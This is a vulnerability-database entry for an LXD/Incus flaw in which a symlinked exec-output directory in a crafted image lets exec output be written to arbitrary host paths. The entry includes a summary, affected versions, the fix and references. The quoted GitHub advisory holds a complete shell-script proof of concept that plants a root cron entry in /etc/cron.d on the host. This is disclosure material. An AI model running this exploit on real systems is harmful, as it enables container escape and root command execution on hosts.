LXD allows arbitrary file write on host via exec-output symlink in crafted image
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
The github.com/canonical/lxd Go module is affected before 0.0.0-20260626085134-124f90100640. The record-output parameter of the instance exec endpoint trusts the exec-output directory, so a crafted image whose exec-output entry is a symlink lets a user with access to the instance write exec output files to an arbitrary location on the host (CWE-73). An attacker who can import an image and call the exec endpoint can write files such as cron entries, which may lead to command execution on the host. No public exploit or CISA KEV listing is reported.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
Description from the GitHub advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/canonical/lxd (Go) | before 0.0.0-20260626085134-124f90100640 | 0.0.0-20260626085134-124f90100640 | Patch available | GHSA-9j25-mm2h-2f76 |
- github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260626085134-124f90100640 Fixed in 0.0.0-20260626085134-124f90100640 Patch available GHSA-9j25-mm2h-2f76
Remediation
Update github.com/canonical/lxd to 0.0.0-20260626085134-124f90100640 or later.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
- Fix · GHSA-9j25-mm2h-2f76 github.com/canonical/lxd (Go) Fixed in 0.0.0-20260626085134-124f90100640 Advisory →
Timeline
- 2026-11-06 Threatist record created from GHSA-9j25-mm2h-2f76
References
Other 10
- https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
- https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
- https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
- https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
- https://github.com/canonical/lxd
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://manpages.debian.org/bookworm/cron/cron.8.en.html
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences